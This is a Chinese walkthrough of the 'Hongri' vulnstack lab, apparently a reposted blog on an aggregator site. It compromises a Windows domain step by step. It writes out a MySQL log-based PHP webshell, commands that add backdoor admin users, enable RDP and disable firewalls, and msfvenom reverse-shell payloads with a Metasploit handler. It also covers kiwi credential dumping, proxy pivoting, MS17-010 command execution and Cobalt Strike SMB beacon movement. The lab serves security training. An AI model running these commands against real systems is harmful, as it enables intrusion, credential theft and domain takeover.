内网域渗透总结(红日靶场一)

2023-12-23 09:01

本文主要是介绍内网域渗透总结(红日靶场一),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

一、靶场环境搭建

  • 红日靶场:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
  • 靶机通用密码:hongrisec@2019
  • win7
  • win2003
  • win2008

这个搭建靶场的过程是我经过实际操作(踩坑)总结的最简单省事的方式。

首先创建一个仅主机模式的子网作为内网,地址为:192.168.52.0。我这里是直接修改的VMnet1。

192.168.50.0/24 即 VMnet8 当作靶场里的外网。

在这里插入图片描述
将 windows2003 和 windows2008 两台主机都设置为自定义VMnet1
在这里插入图片描述
win7是边缘主机,对外的公网ip搭建着web服务的同时还连接着内网,因此需要两块网卡。
在这里插入图片描述
注意:这两个网卡的顺序最好和我这个一致,不然有可能内网连不通!即内网网卡要排在前面。
在这里插入图片描述
最后还有我们的kali攻击机, 网络是在 50 段,即外网段。

网络拓扑图:

在这里插入图片描述

二、web渗透

上来先收集一波信息,nmap扫描一下端口

nmap -sV -Pn 192.168.50.133
-sV: 指定让Nmap进行版本侦测
-PN: 跳过Ping扫描阶段

扫描出两个端口80 3306,存在web服务和mysql数据库。
在这里插入图片描述

访问80端口,发现是个phpstudy探针,说明网站是phpstudy搭建的。
在这里插入图片描述
这个页面泄露了很多信息,服务器版本、php版本、绝对路径、管理员邮箱等。

可以在这里检测mysql是否存在弱口令
在这里插入图片描述
测试 root root 发现存在弱口令。因为网站是phpstudy搭建,很可能存在 phpmyadmin 后台,

直接来扫一下目录
在这里插入图片描述
确实存在phpmyadmin,还扫到了一个备份文件,打开发现是yxcms的网站源码,应该部署着这个CMS 。

使用弱口令登进去phpmyadmin,查看数据库是否有导入权限,看能否导入木马

SHOW GLOBAL VARIABLES LIKE '%secure%'

在这里插入图片描述
没有导入权限,查看是否有开启全局日志

SHOW GLOBAL VARIABLES LIKE '%general%'

在这里插入图片描述
全局日志功能关闭,不过可以通过命令开启,并修改日志保存的绝对路径,这里的路径可以在探针页面获得。

SET GLOBAL general_log = ON;# 开启日志
SET GLOBAL general_log_file = 'C:/phpstudy/WWW/test.php';# 设置日志位置为网站目录

接着向日志文件写shell

select '<?php eval ($_POST[s]);?>'

执行这条语句之后,日志会将select后的查询语句记录进日志,从而让日志变成一个一句话木马。

用蚁剑连接
在这里插入图片描述
连接成功。

我们再来看下部署的CMS,打开网站
在这里插入图片描述
从右下角看到了网站后台的登录地址和默认账号密码,尝试登录
在这里插入图片描述
在这里插入图片描述

成功登录。在前台模板功能里发现可以直接编辑php文件,尝试写入shell。
在这里插入图片描述
随便找一个文件添加一句话
在这里插入图片描述
保存后,接下来就要想办法找到这个info.php所在的目录了,先来扫描一下后台
在这里插入图片描述
点进去发现这个网站还存在目录遍历漏洞
在这里插入图片描述
那就好办了,为了防止疏漏我们直接去看前面扫到的备份文件(如果没有备份文件可以根据网站版本去网上自己下载)
在这里插入图片描述
找到了目标文件,尝试连接。
在这里插入图片描述
成功连接。来看一下拿到的shell是什么权限
在这里插入图片描述
太好了,是管理员权限。

紧接着先把防火墙关了,养成好习惯。

netsh advfirewall set allprofiles state off #win关闭防火墙
1、远程登录

尝试添加一个用户,进行远程登陆

net user qqq qwer@1234 /add # 添加账户密码
net localgroup administrators qqq /add  # 添加为管理员权限
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 
# 开启3389端口

在这里插入图片描述
用户添加成功,尝试登录
在这里插入图片描述
成功登录。(如果防火墙没关会登录失败)

2、上线CS:

启动服务
在这里插入图片描述
设置监听:
在这里插入图片描述
生成一个EXE后门
在这里插入图片描述
通过蚁剑上传并执行
在这里插入图片描述
在这里插入图片描述
成功上线。执行sleep 0,不然回显会很慢

sleep 0则表示进入交互模式,任何输入的命令都会被立即执行。

在这里插入图片描述
shell systeminfo 查看系统信息,看到只打了四个补丁,尝试进行提权
在这里插入图片描述
在这里插入图片描述
提权成功。

3、上线MSF:

msf生成木马

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=< Your IP> LPORT=< Your Port> -f elf > shell.elf

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=< Your IP> LPORT=< Your Port> -f exe > shell.exe

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=< Your IP> LPORT=< Your Port> -f raw > shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=< Your IP> LPORT=< Your Port> -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=< Your IP> LPORT=< Your Port> -f raw > shell.jsp

Python

msfvenom -p cmd/unix/reverse_python LHOST=< Your IP> LPORT=< Your Port> -f raw > shell.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=< Your IP> LPORT=< Your Port> -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=< Your IP> LPORT=< Your Port> -f raw > shell.pl

在这里插入图片描述
开启msf监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.50.130
set lport 7777
run

在这里插入图片描述
通过蚁剑将生成的木马上传并运行。
在这里插入图片描述
成功上线。再来尝试提一下权:
在这里插入图片描述
因为是administrator用户,所以很容易提权成功。

三、内网信息收集

开始进行内网的信息收集阶段。

获取目标主机的shell,输入chcp 65001可解决乱码问题(或者用蚁剑的终端)。
在这里插入图片描述
看一下路由信息

route print     # 打印路由信息

在这里插入图片描述
可知内网网段应该是 192.168.52.1/24

关于Windows域: 详细信息

Windows域是计算机网络的一种形式,其中所有用户帐户 ,计算机,打印机和其他安全主体都在位于称为域控制器(DC)的一个或多个中央计算机集群上的中央数据库中注册。 身份验证在域控制器上进行。 在域中使用计算机的每个人都会收到一个唯一的用户帐户,然后可以为该帐户分配对该域内资源的访问权限。 Windows域的概念与工作组的概念形成对比。

首先判断是否在域中,域控制器一般集成了DNS服务,通过 ipconfig /all,即可简单判断。
在这里插入图片描述
该域名为god.org,还可以使用下面这种方式。

net view /domain  #查询当前主机是否加入域,如果加入则列出域名

在这里插入图片描述
查看域内信息

net config Workstation #查看计算机名、全名、用户名、系统版本、工作站、域、登录域

在这里插入图片描述
接着定位域控:

net time /domain  #同步域控服务器时间

在这里插入图片描述
域控的域名即 owa.god.org ,用 ping 即可反查出域控ip
在这里插入图片描述
得到域控制器IP为192.168.52.138

再来看一下域内的其它主机

net view  #查看与该计算机位于同一工作组或域中的所有计算机名

在这里插入图片描述
这里的 OWA 就是上面的域控,另一个就是域内的其它主机了。

再来看一下域管理员

net group "domain admins" /domain # 查询域管理员

在这里插入图片描述
很幸运,可以看到这里我们获得的 Administration 就是域控OWA的域管理员 。

看一下域里有几个用户

net user /domain  # 查看域用户,只有域管才能执行

在这里插入图片描述
得到5个域用户名。

尝试抓取主机本地的密码:

hashdump  #导出本地用户账号密码,该命令的使用需要系统权限。

在这里插入图片描述
用户哈希数据的输出格式为:

用户名:SID:LM哈希:NTLM哈希:::

得到了三个本地用户账号,分别为 Administrator、Guest 和 liukaifeng01 。

三个账号的LM哈希aad3b435b51404eeaad3b435b51404ee和NTLM哈希31d6cfe0d16ae931b73c59d7e0c089c0都是空密码。
在这里插入图片描述
这是因为当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,密码字段显示为null,需要修改注册表等用户重新登录后才能成功抓取。

那就尝试抓取域内的账号密码:利用 msf 的 kiwi 模块 详细介绍

load kiwi #加载kiwi模块
help kiwi #查看kiwi模块的使用

注意执行需要system权限。

creds_all         #列举所有凭据
creds_kerberos    #列举域内账号密码

在这里插入图片描述
成功得到域账号密码。

目前为止,我们获得的内网信息有:

域名:god.org
域内有五个用户:Administrator、Guest、liukaifeng01、ligang、krbtgt
域内三台主机:OWA、ROOT-TVI862UBEH(192.168.52.141)STU1(win7)
域控:OWA(192.168.52.138)
win7内网ip:192.168.52.143

四、横向渗透

为了让 msf 能访问内网的其他主机,即 52 网段的攻击流量都通过已渗透的这台目标主机(Windows7)的meterpreter会话来传递,需要建立socks反向代理。

注:添加路由一定要在挂代理之前,因为代理需要用到路由功能

1、添加路由、挂上Socks4a代理

使用 msf+proxychains 搭建socks4a隧道。

在之前监听到的shell中设置内网路由

run autoroute -s 192.168.52.0/24  # 添加内网的路由
run autoroute -p  # 查看路由

在这里插入图片描述
开启代理

backgrounduse auxiliary/server/socks4aset SRVHOST 127.0.0.1(这里因为是本机可以写本地ip)run

在这里插入图片描述
然后在 proxychains 的配置文件 /etc/proxychains.conf,添加本机的1080端口:

socks4 127.0.0.1 1080

在这里插入图片描述
然后执行命令时,前面加上 proxychains 即可。如:

proxychains ping 192.168.52.141(域成员ip)

在这里插入图片描述
访问成功,下面就开始嚯嚯内网的两台主机。

2、域成员渗透

首先看一下域成员的端口开放情况:

全扫时间有点久,这里因为是练习,就只对高危端口进行扫描

proxychains nmap -sV -Pn -p 22,80,135,443,445,3389 192.168.52.141

在这里插入图片描述

看到135、445是开放的,并且这台终端为 win_2003,32位系统。

常见端口漏洞:

  • 21-FTP,看是否存在匿名访问
  • 22-SSH,看是否存在弱口令
  • 80-HTTP,常见web漏洞
  • 443-openssl,心脏出血
  • 445-smb,ms17-010、ms08-067
  • 3306-mysql,弱口令
  • 1433-mssql,弱口令
  • 1521-oracle,弱口令
  • 3389-远程连接桌面
  • 6379-redis未授权访问,弱口令
  • 8080-tomcat漏洞

这里开放了445端口,看一下是否存在ms17-010
在这里插入图片描述
确实存在漏洞,使用 use exploit/windows/smb/ms17_010_eternalblue 利用,发现只支持打64位系统,不支持32位。

再换一个模块

use auxiliary/admin/smb/ms17_010_commandset COMMAND net userset RHOST 192.168.52.141run

在这里插入图片描述
成功执行命令。接着我们来添加一个用户尝试远程登录一下。

还是使用上面的模块,依次执行下面命令

set command net user sss qwer@1234 /add #添加用户
run # 发现用户添加不成功,后来发现是因为有密码设置策略,密码不能太简单。set command net localgroup administrators sss /add #管理员权限
run set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' 
#开启3389端口
runset command netsh advfirewall set allprofiles state off #关闭防火墙
run #好像没有防火墙

在这里插入图片描述
然后远程登录

proxychains rdesktop 192.168.52.141

这里注意一定要选这个,因为登陆的是本机。
在这里插入图片描述
成功进来了!
在这里插入图片描述

3、域控渗透

同样的,先扫描一下端口

proxychains nmap -sV -Pn -p 22,80,135,443,445,3389 192.168.52.138

在这里插入图片描述
看到其开启了 80 端口,访问网站,发现是IIS初始网站,没有搭建网站,也不存在敏感目录。先不管它,还是先使用 ms17-010 测试一下。

发现也存在漏洞,同样先使用 use exploit/windows/smb/ms17_010_eternalblue 模块利用,但还是利用不了,猜测可能是防火墙的问题,因为这个系统是64位的。
在这里插入图片描述
再用上面的老方法 use auxiliary/admin/smb/ms17_010_command 发现可以执行。接着添加用户aaa

尝试远程连接
在这里插入图片描述
这里不知道为啥就是登不上,用户确实创建成功了。。。
在这里插入图片描述
防火墙已经关掉了,再来试试 ms17_010_eternalblue,然而还是不行。再换种方法,转战CS。

SMB Beacon:

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 psexec 或 Stageless Payload 上线

使用 smb beacon,由一台已经拿到 beacon 的机器,抓取密码后进行smb喷射,得到另一台开放445端口的机器上的administrator账户密码,在目标机器不出网的情况下,可以使用smb beacon使目标主机上线。
在这里插入图片描述
使用条件:

  • 具有 Beacon 的主机必须接受 445 端口上的连接。
  • 只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
  • 必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。

这三条这里全都满足,先执行 net view 发现一下域内主机
在这里插入图片描述
在列表这里出现了域内的这两台主机。
在这里插入图片描述
新建一个 Beacon SMB 监听器,名字随便
在这里插入图片描述
域管右键选择psexec
在这里插入图片描述
在这里插入图片描述
点击运行,成功上线域管,这里顺便把域成员也上线了。可以看到 ∞∞ 这个字符 ,这就是派生的SMB Beacon。
在这里插入图片描述
🆗,本次的靶场练习到这里就正式完结啦,经过本次打靶学到了很多!

这篇关于内网域渗透总结(红日靶场一)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/527483

相关文章

HarmonyOS学习(七)——UI(五)常用布局总结

自适应布局 1.1、线性布局(LinearLayout) 通过线性容器Row和Column实现线性布局。Column容器内的子组件按照垂直方向排列,Row组件中的子组件按照水平方向排列。 属性说明space通过space参数设置主轴上子组件的间距,达到各子组件在排列上的等间距效果alignItems设置子组件在交叉轴上的对齐方式,且在各类尺寸屏幕上表现一致,其中交叉轴为垂直时,取值为Vert

学习hash总结

2014/1/29/   最近刚开始学hash,名字很陌生,但是hash的思想却很熟悉,以前早就做过此类的题,但是不知道这就是hash思想而已,说白了hash就是一个映射,往往灵活利用数组的下标来实现算法,hash的作用:1、判重;2、统计次数;

git使用的说明总结

Git使用说明 下载安装(下载地址) macOS: Git - Downloading macOS Windows: Git - Downloading Windows Linux/Unix: Git (git-scm.com) 创建新仓库 本地创建新仓库:创建新文件夹,进入文件夹目录,执行指令 git init ,用以创建新的git 克隆仓库 执行指令用以创建一个本地仓库的

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

二分最大匹配总结

HDU 2444  黑白染色 ,二分图判定 const int maxn = 208 ;vector<int> g[maxn] ;int n ;bool vis[maxn] ;int match[maxn] ;;int color[maxn] ;int setcolor(int u , int c){color[u] = c ;for(vector<int>::iter

整数Hash散列总结

方法:    step1  :线性探测  step2 散列   当 h(k)位置已经存储有元素的时候,依次探查(h(k)+i) mod S, i=1,2,3…,直到找到空的存储单元为止。其中,S为 数组长度。 HDU 1496   a*x1^2+b*x2^2+c*x3^2+d*x4^2=0 。 x在 [-100,100] 解的个数  const int MaxN = 3000

状态dp总结

zoj 3631  N 个数中选若干数和(只能选一次)<=M 的最大值 const int Max_N = 38 ;int a[1<<16] , b[1<<16] , x[Max_N] , e[Max_N] ;void GetNum(int g[] , int n , int s[] , int &m){ int i , j , t ;m = 0 ;for(i = 0 ;

go基础知识归纳总结

无缓冲的 channel 和有缓冲的 channel 的区别? 在 Go 语言中,channel 是用来在 goroutines 之间传递数据的主要机制。它们有两种类型:无缓冲的 channel 和有缓冲的 channel。 无缓冲的 channel 行为:无缓冲的 channel 是一种同步的通信方式,发送和接收必须同时发生。如果一个 goroutine 试图通过无缓冲 channel

9.8javaweb项目总结

1.主界面用户信息显示 登录成功后,将用户信息存储在记录在 localStorage中,然后进入界面之前通过js来渲染主界面 存储用户信息 将用户信息渲染在主界面上,并且头像设置跳转,到个人资料界面 这里数据库中还没有设置相关信息 2.模糊查找 检测输入框是否有变更,有的话调用方法,进行查找 发送检测请求,然后接收的时候设置最多显示四个类似的搜索结果

java面试常见问题之Hibernate总结

1  Hibernate的检索方式 Ø  导航对象图检索(根据已经加载的对象,导航到其他对象。) Ø  OID检索(按照对象的OID来检索对象。) Ø  HQL检索(使用面向对象的HQL查询语言。) Ø  QBC检索(使用QBC(Qurey By Criteria)API来检索对象。 QBC/QBE离线/在线) Ø  本地SQL检索(使用本地数据库的SQL查询语句。) 包括Hibern